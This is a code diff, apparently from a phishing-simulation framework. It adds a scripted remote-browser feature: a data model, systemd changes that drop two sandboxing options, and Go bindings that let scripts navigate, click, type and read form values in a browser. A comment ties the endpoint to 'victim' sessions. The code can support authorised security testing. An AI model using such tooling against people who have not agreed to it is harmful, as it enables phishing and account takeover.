github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4=
|
||||
github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
|
||||
@@ -227,6 +237,20 @@ github.com/yeqown/go-qrcode/v2 v2.2.4 h1:cXdYlrhzHzVAnJHiwr/T6lAUmS9MtEStjEZBjAr
|
||||
github.com/yeqown/go-qrcode/v2 v2.2.4/go.mod h1:uHpt9CM0V1HeXLz+Wg5MN50/sI/fQhfkZlOM+cOTHxw=
|
||||
github.com/yeqown/reedsolomon v1.0.0 h1:x1h/Ej/uJnNu8jaX7GLHBWmZKCAWjEJTetkqaabr4B0=
|
||||
github.com/yeqown/reedsolomon v1.0.0/go.mod h1:P76zpcn2TCuL0ul1Fso373qHRc69LKwAw/Iy6g1WiiM=
|
||||
github.com/ysmood/fetchup v0.2.3 h1:ulX+SonA0Vma5zUFXtv52Kzip/xe7aj4vqT5AJwQ+ZQ=
|
||||
github.com/ysmood/fetchup v0.2.3/go.mod h1:xhibcRKziSvol0H1/pj33dnKrYyI2ebIvz5cOOkYGns=
|
||||
github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ=
|
||||
github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18=
|
||||
github.com/ysmood/gop v0.2.0 h1:+tFrG0TWPxT6p9ZaZs+VY+opCvHU8/3Fk6BaNv6kqKg=
|
||||
github.com/ysmood/gop v0.2.0/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk=
|
||||
github.com/ysmood/got v0.40.0 h1:ZQk1B55zIvS7zflRrkGfPDrPG3d7+JOza1ZkNxcc74Q=
|
||||
github.com/ysmood/got v0.40.0/go.mod h1:W7DdpuX6skL3NszLmAsC5hT7JAhuLZhByVzHTq874Qg=
|
||||
github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY=
|
||||
github.com/ysmood/gotrace v0.6.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM=
|
||||
github.com/ysmood/gson v0.7.3 h1:QFkWbTH8MxyUTKPkVWAENJhxqdBa4lYTQWqZCiLG6kE=
|
||||
github.com/ysmood/gson v0.7.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg=
|
||||
github.com/ysmood/leakless v0.9.0 h1:qxCG5VirSBvmi3uynXFkcnLMzkphdh3xx5FtrORwDCU=
|
||||
github.com/ysmood/leakless v0.9.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
github.com/zeebo/assert v1.1.0 h1:hU1L1vLTHsnO8x8c9KAR5GmM5QscxHg5RNU5z5qbUWY=
|
||||
github.com/zeebo/assert v1.1.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0=
|
||||
@@ -308,6 +332,8 @@ google.golang.org/protobuf v1.36.7/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
|
||||
@@ -374,6 +374,8 @@ func createUserAndGroup() error {
|
||||
"-r",
|
||||
"-g", serviceGroup,
|
||||
"-s", "/bin/false",
|
||||
"-m",
|
||||
"-d", "/var/lib/"+serviceUser,
|
||||
serviceUser,
|
||||
)
|
||||
if err := cmd.Run(); err != nil {
|
||||
|
||||
@@ -15,10 +15,8 @@ NoNewPrivileges=true
|
||||
ProtectSystem=full
|
||||
ProtectHome=true
|
||||
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
|
||||
RestrictNamespaces=true
|
||||
RestrictRealtime=true
|
||||
RestrictSUIDSGID=true
|
||||
MemoryDenyWriteExecute=true
|
||||
Restart=always
|
||||
RestartSec=5s
|
||||
StartLimitBurst=3
|
||||
|
||||
@@ -322,6 +322,13 @@ func main() {
|
||||
)
|
||||
}
|
||||
adminRouter.Use(middlewares.IPLimiter)
|
||||
|
||||
// read the seeded victim WS path for the remote browser endpoint
|
||||
rbWSPath := "rbws" // fallback - real value is seeded at first startup
|
||||
if opt, err := repositories.Option.GetByKey(context.Background(), data.OptionKeyRemoteBrowserWSPath); err == nil {
|
||||
rbWSPath = opt.Value.String()
|
||||
}
|
||||
|
||||
adminServer := app.NewAdministrationServer(
|
||||
adminRouter,
|
||||
controllers,
|
||||
@@ -363,6 +370,7 @@ func main() {
|
||||
repositories,
|
||||
logger,
|
||||
certMagicConfig,
|
||||
rbWSPath,
|
||||
)
|
||||
|
||||
var r *gin.Engine
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
package model
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/oapi-codegen/nullable"
|
||||
"github.com/phishingclub/phishingclub/validate"
|
||||
"github.com/phishingclub/phishingclub/vo"
|
||||
)
|
||||
|
||||
// RemoteBrowserConfig is the API-level config for a remote browser session.
|
||||
type RemoteBrowserConfig struct {
|
||||
Mode string `json:"mode"` // "local" | "remote"
|
||||
Remote string `json:"remote"` // DevTools WS URL (mode=remote only)
|
||||
Proxy string `json:"proxy"` // socks5:// or http://
|
||||
Headless bool `json:"headless"` // run Chrome headless (mode=local)
|
||||
Timeout int `json:"timeout"` // ms; 0 = default (60000)
|
||||
}
|
||||
|
||||
// RemoteBrowser is a saved remote browser script with its connection config.
|
||||
type RemoteBrowser struct {
|
||||
ID nullable.Nullable[uuid.UUID] `json:"id"`
|
||||
CreatedAt *time.Time `json:"createdAt"`
|
||||
UpdatedAt *time.Time `json:"updatedAt"`
|
||||
CompanyID nullable.Nullable[uuid.UUID] `json:"companyID"`
|
||||
Name nullable.Nullable[vo.String64] `json:"name"`
|
||||
Description nullable.Nullable[vo.OptionalString1024] `json:"description"`
|
||||
Script nullable.Nullable[vo.String1MB] `json:"script"`
|
||||
Config nullable.Nullable[RemoteBrowserConfig] `json:"config"`
|
||||
|
||||
Company *Company `json:"-"`
|
||||
}
|
||||
|
||||
// Validate checks required fields and config values.
|
||||
func (m *RemoteBrowser) Validate() error {
|
||||
if err := validate.NullableFieldRequired("name", m.Name); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := validate.NullableFieldRequired("script", m.Script); err != nil {
|
||||
return err
|
||||
}
|
||||
if m.Config.IsSpecified() {
|
||||
if cfg, err := m.Config.Get(); err == nil {
|
||||
if cfg.Mode != "" && cfg.Mode != "local" && cfg.Mode != "remote" {
|
||||
return fmt.Errorf("config.mode must be 'local' or 'remote'")
|
||||
}
|
||||
if cfg.Mode == "remote" && cfg.Remote == "" {
|
||||
return fmt.Errorf("config.remote is required when mode is 'remote'")
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ToDBMap returns the fields that should be persisted.
|
||||
func (m *RemoteBrowser) ToDBMap() map[string]any {
|
||||
dbMap := map[string]any{}
|
||||
if m.Name.IsSpecified() {
|
||||
dbMap["name"] = nil
|
||||
if name, err := m.Name.Get(); err == nil {
|
||||
dbMap["name"] = name.String()
|
||||
}
|
||||
}
|
||||
if m.Description.IsSpecified() {
|
||||
dbMap["description"] = nil
|
||||
if description, err := m.Description.Get(); err == nil {
|
||||
dbMap["description"] = description.String()
|
||||
}
|
||||
}
|
||||
if m.Script.IsSpecified() {
|
||||
dbMap["script"] = nil
|
||||
if script, err := m.Script.Get(); err == nil {
|
||||
dbMap["script"] = script.String()
|
||||
}
|
||||
}
|
||||
if m.Config.IsSpecified() {
|
||||
dbMap["config"] = ""
|
||||
if cfg, err := m.Config.Get(); err == nil {
|
||||
if b, err := json.Marshal(cfg); err == nil {
|
||||
dbMap["config"] = string(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
if m.CompanyID.IsSpecified() {
|
||||
if m.CompanyID.IsNull() {
|
||||
dbMap["company_id"] = nil
|
||||
} else {
|
||||
dbMap["company_id"] = m.CompanyID.MustGet()
|
||||
}
|
||||
}
|
||||
return dbMap
|
||||
}
|
||||
|
||||
// RemoteBrowserOverview is a lightweight listing model.
|
||||
type RemoteBrowserOverview struct {
|
||||
ID uuid.UUID `json:"id,omitempty"`
|
||||
CreatedAt *time.Time `json:"createdAt"`
|
||||
UpdatedAt *time.Time `json:"updatedAt"`
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
CompanyID *uuid.UUID `json:"companyID"`
|
||||
}
|
||||
@@ -0,0 +1,751 @@
|
||||
package remotebrowser
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/dop251/goja"
|
||||
"github.com/go-rod/rod"
|
||||
"github.com/go-rod/rod/lib/input"
|
||||
"github.com/go-rod/rod/lib/proto"
|
||||
)
|
||||
|
||||
// RegisterBrowserBindings wires up all rod actions as callable JS functions
|
||||
// on the provided target object. All actions block until completion.
|
||||
// emitter may be nil (e.g. in withTimeout sub-sessions); screenshots and debug logs
|
||||
// are silently dropped when nil. debug adds before/after log lines for every action.
|
||||
//
|
||||
// Debug symbol legend:
|
||||
//
|
||||
// → action starting ✓ action done … waiting ? reading = result value
|
||||
func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, emitter *channelEmitter, debug bool, queryTimeout int) {
|
||||
must := func(err error) {
|
||||
if err != nil {
|
||||
panic(vm.NewGoError(err))
|
||||
}
|
||||
}
|
||||
|
||||
// argStr returns the string value of a goja argument, or "" for undefined/null.
|
||||
argStr := func(v goja.Value) string {
|
||||
if goja.IsUndefined(v) || goja.IsNull(v) {
|
||||
return ""
|
||||
}
|
||||
return v.String()
|
||||
}
|
||||
|
||||
dbg := func(msg string) {
|
||||
if debug && emitter != nil {
|
||||
emitter.log("[dbg] " + msg)
|
||||
}
|
||||
}
|
||||
|
||||
// readPage returns a page for read-only CDP queries (getNodeCount, getText,
|
||||
// evaluate, screenshot, …). When queryTimeout > 0 it is bounded so a stalled
|
||||
// browser can't freeze the goja listen loop. 0 means no extra timeout.
|
||||
readPage := func() (*rod.Page, func()) {
|
||||
if queryTimeout > 0 {
|
||||
tCtx, cancel := context.WithTimeout(page.GetContext(), time.Duration(queryTimeout)*time.Millisecond)
|
||||
return page.Context(tCtx), cancel
|
||||
}
|
||||
return page, func() {}
|
||||
}
|
||||
|
||||
// collectSelectors returns all non-empty string arguments as CSS selectors.
|
||||
collectSelectors := func(call goja.FunctionCall) []string {
|
||||
var sels []string
|
||||
for _, a := range call.Arguments {
|
||||
if s := argStr(a); s != "" {
|
||||
sels = append(sels, s)
|
||||
}
|
||||
}
|
||||
if len(sels) == 0 {
|
||||
panic(vm.NewTypeError("at least one selector is required"))
|
||||
}
|
||||
return sels
|
||||
}
|
||||
|
||||
// pollUntilAny polls condJS (a JS function expression) every 100 ms until it
|
||||
// returns a non-empty / non-null string, which is treated as the matched selector.
|
||||
pollUntilAny := func(condJS string) (string, error) {
|
||||
ticker := time.NewTicker(100 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-page.GetContext().Done():
|
||||
return "", page.GetContext().Err()
|
||||
case <-ticker.C:
|
||||
res, err := page.Eval(condJS)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if s := res.Value.Str(); s != "" && s != "null" && s != "undefined" {
|
||||
return s, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Navigation
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
pc.Set("navigate", func(call goja.FunctionCall) goja.Value {
|
||||
rawURL := argStr(call.Argument(0))
|
||||
dbg("→ navigate " + rawURL)
|
||||
must(ValidateNavigateURL(rawURL))
|
||||
must(page.Navigate(rawURL))
|
||||
must(page.WaitLoad())
|
||||
dbg("✓ navigate " + rawURL)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
// navigateToHistoryOffset navigates by history offset without waiting for
|
||||
// a load event (avoids deadlock on cached pages).
|
||||
navigateToHistoryOffset := func(offset int) error {
|
||||
res, err := proto.PageGetNavigationHistory{}.Call(page)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
targetIndex := res.CurrentIndex + offset
|
||||
if targetIndex < 0 || targetIndex >= len(res.Entries) {
|
||||
return fmt.Errorf("no history entry at offset %d", offset)
|
||||
}
|
||||
targetEntry := res.Entries[targetIndex]
|
||||
targetURL := targetEntry.URL
|
||||
navCmd := proto.PageNavigateToHistoryEntry{EntryID: targetEntry.ID}
|
||||
if err := navCmd.Call(page); err != nil {
|
||||
return err
|
||||
}
|
||||
deadline := time.Now().Add(30 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
info, err := page.Info()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if info.URL == targetURL {
|
||||
return nil
|
||||
}
|
||||
select {
|
||||
case <-page.GetContext().Done():
|
||||
return page.GetContext().Err()
|
||||
case <-time.After(50 * time.Millisecond):
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("timed out waiting for navigation to %s", targetURL)
|
||||
}
|
||||
|
||||
pc.Set("navigateBack", func(call goja.FunctionCall) goja.Value {
|
||||
dbg("→ navigateBack")
|
||||
must(navigateToHistoryOffset(-1))
|
||||
dbg("✓ navigateBack")
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("navigateForward", func(call goja.FunctionCall) goja.Value {
|
||||
dbg("→ navigateForward")
|
||||
must(navigateToHistoryOffset(+1))
|
||||
dbg("✓ navigateForward")
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("reload", func(call goja.FunctionCall) goja.Value {
|
||||
dbg("→ reload")
|
||||
must(page.Reload())
|
||||
dbg("✓ reload")
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("stop", func(call goja.FunctionCall) goja.Value {
|
||||
dbg("→ stop")
|
||||
must(proto.PageStopLoading{}.Call(page))
|
||||
dbg("✓ stop")
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("location", func(call goja.FunctionCall) goja.Value {
|
||||
info, err := page.Info()
|
||||
must(err)
|
||||
dbg("= location " + info.URL)
|
||||
return vm.ToValue(info.URL)
|
||||
})
|
||||
|
||||
pc.Set("title", func(call goja.FunctionCall) goja.Value {
|
||||
info, err := page.Info()
|
||||
must(err)
|
||||
dbg("= title " + info.Title)
|
||||
return vm.ToValue(info.Title)
|
||||
})
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Waiting — all methods accept one or more selectors and return the first
|
||||
// selector that satisfies the condition.
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
pc.Set("waitVisible", func(call goja.FunctionCall) goja.Value {
|
||||
sels := collectSelectors(call)
|
||||
dbg(fmt.Sprintf("… waitVisible %v", sels))
|
||||
var parts []string
|
||||
for _, sel := range sels {
|
||||
// Re-queries the document every tick; non-zero bounding box = visible.
|
||||
parts = append(parts, fmt.Sprintf(
|
||||
"(()=>{var el=document.querySelector(%q);if(!el)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%q:null})()",
|
||||
sel, sel,
|
||||
))
|
||||
}
|
||||
matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||")))
|
||||
must(err)
|
||||
dbg("✓ waitVisible " + matched)
|
||||
return vm.ToValue(matched)
|
||||
})
|
||||
|
||||
pc.Set("waitReady", func(call goja.FunctionCall) goja.Value {
|
||||
sels := collectSelectors(call)
|
||||
dbg(fmt.Sprintf("… waitReady %v", sels))
|
||||
var parts []string
|
||||
for _, sel := range sels {
|
||||
parts = append(parts, fmt.Sprintf(
|
||||
"(()=>{var el=document.querySelector(%q);if(!el||el.disabled)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%q:null})()",
|
||||
sel, sel,
|
||||
))
|
||||
}
|
||||
matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||")))
|
||||
must(err)
|
||||
dbg("✓ waitReady " + matched)
|
||||
return vm.ToValue(matched)
|
||||
})
|
||||
|
||||
pc.Set("waitEnabled", func(call goja.FunctionCall) goja.Value {
|
||||
sels := collectSelectors(call)
|
||||
dbg(fmt.Sprintf("… waitEnabled %v", sels))
|
||||
var parts []string
|
||||
for _, sel := range sels {
|
||||
parts = append(parts, fmt.Sprintf(
|
||||
"(()=>{var el=document.querySelector(%q);return(el&&!el.disabled)?%q:null})()",
|
||||
sel, sel,
|
||||
))
|
||||
}
|
||||
matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||")))
|
||||
must(err)
|
||||
dbg("✓ waitEnabled " + matched)
|
||||
return vm.ToValue(matched)
|
||||
})
|
||||
|
||||
pc.Set("waitSelected", func(call goja.FunctionCall) goja.Value {
|
||||
sels := collectSelectors(call)
|
||||
dbg(fmt.Sprintf("… waitSelected %v", sels))
|
||||
var parts []string
|
||||
for _, sel := range sels {
|
||||
parts = append(parts, fmt.Sprintf("(()=>{var el=document.querySelector(%q);return el&&el.selected?%q:null})()", sel, sel))
|
||||
}
|
||||
matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||")))
|
||||
must(err)
|
||||
dbg("✓ waitSelected " + matched)
|
||||
return vm.ToValue(matched)
|
||||
})
|
||||
|
||||
pc.Set("waitNotVisible", func(call goja.FunctionCall) goja.Value {
|
||||
sels := collectSelectors(call)
|
||||
dbg(fmt.Sprintf("… waitNotVisible %v", sels))
|
||||
var parts []string
|
||||
for _, sel := range sels {
|
||||
parts = append(parts, fmt.Sprintf("(()=>{var el=document.querySelector(%q);return !el||el.offsetParent===null?%q:null})()", sel, sel))
|
||||
}
|
||||
matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||")))
|
||||
must(err)
|
||||
dbg("✓ waitNotVisible " + matched)
|
||||
return vm.ToValue(matched)
|
||||
})
|
||||
|
||||
pc.Set("waitNotPresent", func(call goja.FunctionCall) goja.Value {
|
||||
sels := collectSelectors(call)
|
||||
dbg(fmt.Sprintf("… waitNotPresent %v", sels))
|
||||
var parts []string
|
||||
for _, sel := range sels {
|
||||
parts = append(parts, fmt.Sprintf("(!document.querySelector(%q)?%q:null)", sel, sel))
|
||||
}
|
||||
matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||")))
|
||||
must(err)
|
||||
dbg("✓ waitNotPresent " + matched)
|
||||
return vm.ToValue(matched)
|
||||
})
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Mouse
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
pc.Set("click", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("→ click " + sel)
|
||||
el, err := page.Element(sel)
|
||||
must(err)
|
||||
if err = el.Click(proto.InputMouseButtonLeft, 1); err != nil {
|
||||
var npe *rod.NoPointerEventsError
|
||||
if errors.As(err, &npe) {
|
||||
_, evalErr := el.Eval(`() => this.click()`)
|
||||
must(evalErr)
|
||||
} else {
|
||||
must(err)
|
||||
}
|
||||
}
|
||||
dbg("✓ click " + sel)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("doubleClick", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("→ doubleClick " + sel)
|
||||
el, err := page.Element(sel)
|
||||
must(err)
|
||||
if err = el.Click(proto.InputMouseButtonLeft, 2); err != nil {
|
||||
var npe *rod.NoPointerEventsError
|
||||
if errors.As(err, &npe) {
|
||||
_, evalErr := el.Eval(`() => { this.click(); this.click(); }`)
|
||||
must(evalErr)
|
||||
} else {
|
||||
must(err)
|
||||
}
|
||||
}
|
||||
dbg("✓ doubleClick " + sel)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("clickXY", func(call goja.FunctionCall) goja.Value {
|
||||
x := call.Argument(0).ToFloat()
|
||||
y := call.Argument(1).ToFloat()
|
||||
dbg(fmt.Sprintf("→ clickXY %.0f,%.0f", x, y))
|
||||
must(page.Mouse.MoveTo(proto.Point{X: x, Y: y}))
|
||||
must(page.Mouse.Click(proto.InputMouseButtonLeft, 1))
|
||||
dbg(fmt.Sprintf("✓ clickXY %.0f,%.0f", x, y))
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("scrollIntoView", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("→ scrollIntoView " + sel)
|
||||
el, err := page.Element(sel)
|
||||
must(err)
|
||||
must(el.ScrollIntoView())
|
||||
dbg("✓ scrollIntoView " + sel)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Keyboard
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
pc.Set("sendKeys", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
text := argStr(call.Argument(1))
|
||||
dbg(fmt.Sprintf("→ sendKeys %s (%d chars)", sel, len(text)))
|
||||
el, err := page.Element(sel)
|
||||
must(err)
|
||||
must(el.Focus())
|
||||
must(page.InsertText(text))
|
||||
dbg("✓ sendKeys " + sel)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
// namedKeys maps CDP/browser key name strings to rod input.Key constants.
|
||||
// For single-character keys the rune value is used directly as a fallback.
|
||||
namedKeys := map[string]input.Key{
|
||||
"Enter": input.Enter, "Return": input.Enter,
|
||||
"Tab": input.Tab, "Escape": input.Escape, "Backspace": input.Backspace,
|
||||
"Delete": input.Delete, "Insert": input.Insert,
|
||||
"Home": input.Home, "End": input.End,
|
||||
"PageUp": input.PageUp, "PageDown": input.PageDown,
|
||||
"ArrowLeft": input.ArrowLeft, "ArrowRight": input.ArrowRight,
|
||||
"ArrowUp": input.ArrowUp, "ArrowDown": input.ArrowDown,
|
||||
" ": input.Space, "Space": input.Space,
|
||||
"F1": input.F1, "F2": input.F2, "F3": input.F3, "F4": input.F4,
|
||||
"F5": input.F5, "F6": input.F6, "F7": input.F7, "F8": input.F8,
|
||||
"F9": input.F9, "F10": input.F10, "F11": input.F11, "F12": input.F12,
|
||||
"ShiftLeft": input.ShiftLeft, "ShiftRight": input.ShiftRight,
|
||||
"ControlLeft": input.ControlLeft, "ControlRight": input.ControlRight,
|
||||
"AltLeft": input.AltLeft, "AltRight": input.AltRight,
|
||||
}
|
||||
|
||||
pc.Set("keyEvent", func(call goja.FunctionCall) goja.Value {
|
||||
key := argStr(call.Argument(0))
|
||||
dbg("→ keyEvent " + key)
|
||||
if k, ok := namedKeys[key]; ok {
|
||||
must(page.Keyboard.Press(k))
|
||||
} else {
|
||||
runes := []rune(key)
|
||||
if len(runes) > 0 {
|
||||
must(page.Keyboard.Press(input.Key(runes[0])))
|
||||
}
|
||||
}
|
||||
dbg("✓ keyEvent " + key)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Form
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
pc.Set("clear", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("→ clear " + sel)
|
||||
script := fmt.Sprintf(`() => {
|
||||
var el = document.querySelector(%q);
|
||||
if (!el) return;
|
||||
var nativeInput = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value')
|
||||
|| Object.getOwnPropertyDescriptor(window.HTMLTextAreaElement.prototype, 'value');
|
||||
if (nativeInput && nativeInput.set) {
|
||||
nativeInput.set.call(el, '');
|
||||
} else {
|
||||
el.value = '';
|
||||
}
|
||||
el.dispatchEvent(new Event('input', { bubbles: true }));
|
||||
el.dispatchEvent(new Event('change', { bubbles: true }));
|
||||
}`, sel)
|
||||
_, err := page.Eval(script)
|
||||
must(err)
|
||||
dbg("✓ clear " + sel)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("focus", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("→ focus " + sel)
|
||||
el, err := page.Element(sel)
|
||||
must(err)
|
||||
must(el.Focus())
|
||||
dbg("✓ focus " + sel)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("blur", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("→ blur " + sel)
|
||||
_, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el.blur() }", sel))
|
||||
must(err)
|
||||
dbg("✓ blur " + sel)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("submit", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("→ submit " + sel)
|
||||
_, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el.submit() }", sel))
|
||||
must(err)
|
||||
dbg("✓ submit " + sel)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("setValue", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
val := argStr(call.Argument(1))
|
||||
dbg(fmt.Sprintf("→ setValue %s = %q", sel, val))
|
||||
el, err := page.Element(sel)
|
||||
must(err)
|
||||
must(el.Input(val))
|
||||
dbg("✓ setValue " + sel)
|
||||
return goja.Undefined()
|
||||
})
|
||||
|
||||
pc.Set("getValue", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("? getValue " + sel)
|
||||
rPage, rCancel := readPage()
|
||||
defer rCancel()
|
||||
el, err := rPage.Element(sel)
|
||||
must(err)
|
||||
prop, err := el.Property("value")
|
||||
must(err)
|
||||
val := prop.Str()
|
||||
dbg(fmt.Sprintf("= getValue %s %q", sel, val))
|
||||
return vm.ToValue(val)
|
||||
})
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// DOM reading
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
pc.Set("getText", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("? getText " + sel)
|
||||
rPage, rCancel := readPage()
|
||||
defer rCancel()
|
||||
el, err := rPage.Element(sel)
|
||||
must(err)
|
||||
text, err := el.Text()
|
||||
must(err)
|
||||
dbg(fmt.Sprintf("= getText %s %q", sel, text))
|
||||
return vm.ToValue(text)
|
||||
})
|
||||
|
||||
pc.Set("getTextContent", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("? getTextContent " + sel)
|
||||
rPage, rCancel := readPage()
|
||||
defer rCancel()
|
||||
el, err := rPage.Element(sel)
|
||||
must(err)
|
||||
res, err := el.Eval("() => this.textContent")
|
||||
must(err)
|
||||
text := res.Value.Str()
|
||||
dbg(fmt.Sprintf("= getTextContent %s %q", sel, text))
|
||||
return vm.ToValue(text)
|
||||
})
|
||||
|
||||
pc.Set("getInnerHTML", func(call goja.FunctionCall) goja.Value {
|
||||
sel := argStr(call.Argument(0))
|
||||
dbg("? getInnerHTML " + sel)
|
||||
rPage, rCancel := readPage()
|
||||
defer rCancel()
|
||||
el, err := rPage.Element(sel)
|
||||
